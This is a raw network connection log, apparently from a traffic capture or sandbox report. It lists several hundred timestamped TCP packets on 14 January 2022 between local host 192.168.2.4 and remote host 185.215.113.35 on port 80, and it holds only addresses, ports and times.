Jan 14, 2022 12:30:20.860801935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860893011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860982895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861074924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861172915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861259937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861349106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861438036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861530066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861627102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861721039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861808062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861900091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.861989021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862081051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862169027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862260103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862350941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862442970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862529993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862628937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862776995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862871885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.862962961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.863085032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.863173962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.863256931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.863343000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.863430023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.870337009 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.870697021 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.890289068 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.896837950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.896951914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897059917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897166967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897268057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897378922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897478104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897579908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897680998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897783995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897886992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.897985935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898085117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898205996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898292065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898385048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898478985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898574114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898669004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898765087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898857117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.898963928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899068117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899172068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899280071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899370909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899468899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899569988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899801016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.899909973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900017023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900110006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900207996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900293112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900377989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900465012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900551081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900696993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900788069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900872946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.900957108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901042938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901130915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901216030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901307106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901396036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901475906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901562929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901885033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.901938915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902020931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902107954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902194023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902287960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902370930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902452946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902540922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902678013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902771950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902853012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.902941942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903047085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903137922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903234005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903325081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903420925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903512001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903610945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903713942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903805971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903887987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.903973103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904073954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904159069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904242992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904331923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904416084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904464006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.904515028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904675961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904761076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904844999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.904932022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905025005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905109882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905203104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905278921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905366898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905451059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905538082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905630112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905719042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905801058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905890942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.905972958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906063080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906142950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906227112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906311989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906399012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906485081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906641006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906656027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906760931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.906857014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.909915924 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.917251110 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.920111895 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.941672087 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.960587978 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.966624022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.969569921 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.974694014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.974828959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.974924088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975022078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975117922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975212097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975301027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975390911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975480080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975572109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975672960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975764990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975861073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.975955009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976042986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976134062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976226091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976320028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976409912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976499081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976589918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976690054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976783037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976880074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.976969004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977058887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977150917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977242947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977334023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977426052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977520943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977677107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977844954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.977950096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978059053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978159904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978261948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978363037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978461981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978559971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978807926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.978912115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979020119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979113102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979212999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979311943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979413033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979521036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979615927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979716063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979815960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.979918957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980020046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980117083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980216026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980329990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980437994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980542898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980681896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980783939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.980892897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.028445005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.037267923 CET	49931	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.037416935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.037559032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.037659883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.037750959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.037838936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.037930012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038014889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038101912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038196087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038285017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038371086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038463116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038547039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038816929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.038944006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039038897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039124966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039213896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039303064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039388895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039482117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039581060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039685011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039769888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039855957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.039947987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.042417049 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.059593916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.059712887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.059803009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.059892893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.059982061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.060081005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.060165882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.060255051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.060345888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.060431004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.060520887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.060600996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064140081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064248085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064363003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064450979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064544916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064646959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064757109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064841986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.064949989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065053940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065200090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065294981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065371990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065506935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065574884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065745115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065841913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.065948963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066035986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066117048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066204071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066293001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066380024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066478014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066560984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066740990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066853046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.066951036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067051888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067152023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067347050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067364931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067465067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067615986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067679882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067778111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067862034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.067951918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068037987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068125963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068217993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068314075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068401098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068485022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068568945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068690062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068798065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068886042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.068989992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069073915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069154024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069247961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069329977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069417000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069508076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069592953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069689035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069777966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069865942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.069955111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070039034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070132971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070221901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070312023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070444107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070480108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070574045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070769072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070867062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.070967913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071063042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071166039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071260929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071360111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071455002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071580887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071652889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071751118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071846008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.071944952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072040081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072138071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072233915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072333097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072429895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072529078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072627068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072726965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072825909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.072923899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.073023081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.073122978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.073220968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.073321104 CET	49914	80	192.168.2.4	185.215.113.35
